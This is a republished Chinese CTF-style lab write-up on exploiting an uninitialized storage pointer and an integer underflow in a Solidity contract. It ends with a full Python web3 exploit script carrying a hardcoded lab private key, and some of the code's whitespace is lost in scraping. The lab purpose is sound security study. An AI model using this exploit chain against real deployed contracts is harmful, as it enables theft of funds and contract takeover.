0


某60区块链安全之未初始化的存储指针实战二学习记录

系列文章目录

文章目录


未初始化的存储指针实战二

实验目的

学会使用python3的web3模块
学会分析以太坊智能合约未初始化的存储指针漏洞
找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

在solidity语言中,像动态的数组、struct、mapping这样的复杂数据结构是不能直接在”栈”里面保存的,因为”栈”里只能保存单独的”字”,也就是只能保存实际数据长度小于等于32字节的简单数据类型。所以在solidity智能合约函数中声明动态数组和struct时,必须明确指明其位置在storage还是memory中。
函数内声明的struct若未初始化,若对其赋值,则会按照Solidity存储规则从slot 0开始存储,覆盖之前slot位置的变量,造成不可预想的控制流劫持。

实验内容

合约中内置了未初始化的存储指针和整数溢出问题,找到合约漏洞并形成利用,把合约中的flag变量设置为true即可
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10008

实验过程

获取合约地址和合约源代码
nc ip 10008连接到题目,输入1,获取部署合约的game account及token
在这里插入图片描述

打开http://ip,输入上述分配的game account,点击Request获取eth
在这里插入图片描述

在这里插入图片描述

nc ip 10008连接到题目,输入2,获取部署合约的地址及new token
在这里插入图片描述

nc ip 10008连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞
题目要求将合约中的flag变量设置为true
在这里插入图片描述

分析代码逻辑,需要满足balanceOf[msg.sender] >= 10000000,但是并未有可以增加balanceOf[msg.sender]的代码
漏洞在ubw函数中,函数中的第二个分支不存在初始化,n在执行的时候会形成未初始化漏洞,那么只要我们进入第二个分支就会修改storage中的第一个值为我们的地址,第二个值为2
第一个值为secret 因此通过未初始化漏洞我们可以执行onlySecret修饰的 fate函数,fate函数中存在整数溢出漏洞
通过整数溢出,我们可以获得大量余额,然后payforflag即可将flag设置为true

EXP利用

用python编写自动化exp,将下述contract_address替换成自己的题目合约地址即可,总共包括三个步骤:一是调用题目合约ubw()函数并转账3 wei,这样就会进入到else分支,将slot 0位置的secret覆盖成msg.sender,就可以满足onlySecret;二是调用题目合约fate(0,1)函数,因为balanceOf[msg.sender]=0,此时0-1会产生整数下溢,满足require的条件;三是调用题目合约payforflag()函数,因为此时balanceOf[msg.sender]由于整数下溢漏洞已经变成一个很大的数,满足>=10000000的要求,可将flag设置为true

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
importtime

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address ="0x2880bF5Afe97F3bF983598E135474D743AC366C3"
private ="92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public ="0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn ={'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas':3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)return txn_receipt

set_solc_version_pragma('^0.4.23')# call ubw() in ETH8 with 3 wei
data = Web3.keccak(text='ubw()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 3e-18)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call ubw() success")

time.sleep(5)# call fate(0,1) in ETH8
data = Web3.keccak(text='fate(address,uint256)').hex()[:10]
data +='0'*64
data +='1'.rjust(64, '0')
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)# print(txn_receipt)
if(txn_receipt['status']==1):
    print("call fate(0,1) success")

time.sleep(5)# call payforflag() in ETH8
data = Web3.keccak(text='payforflag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)# print(txn_receipt)
if(txn_receipt['status']==1):
    print("call payforflag() success")

执行exp
在这里插入图片描述

nc ip 10008连接到题目,输入3,输入之前的new token,获取flag
在这里插入图片描述

标签: 区块链 安全 学习

本文转载自: https://blog.csdn.net/weixin_51387754/article/details/134503250
版权归原作者 GuiltyFet 所有, 如有侵权,请联系我们删除。

“某60区块链安全之未初始化的存储指针实战二学习记录”的评论:

还没有评论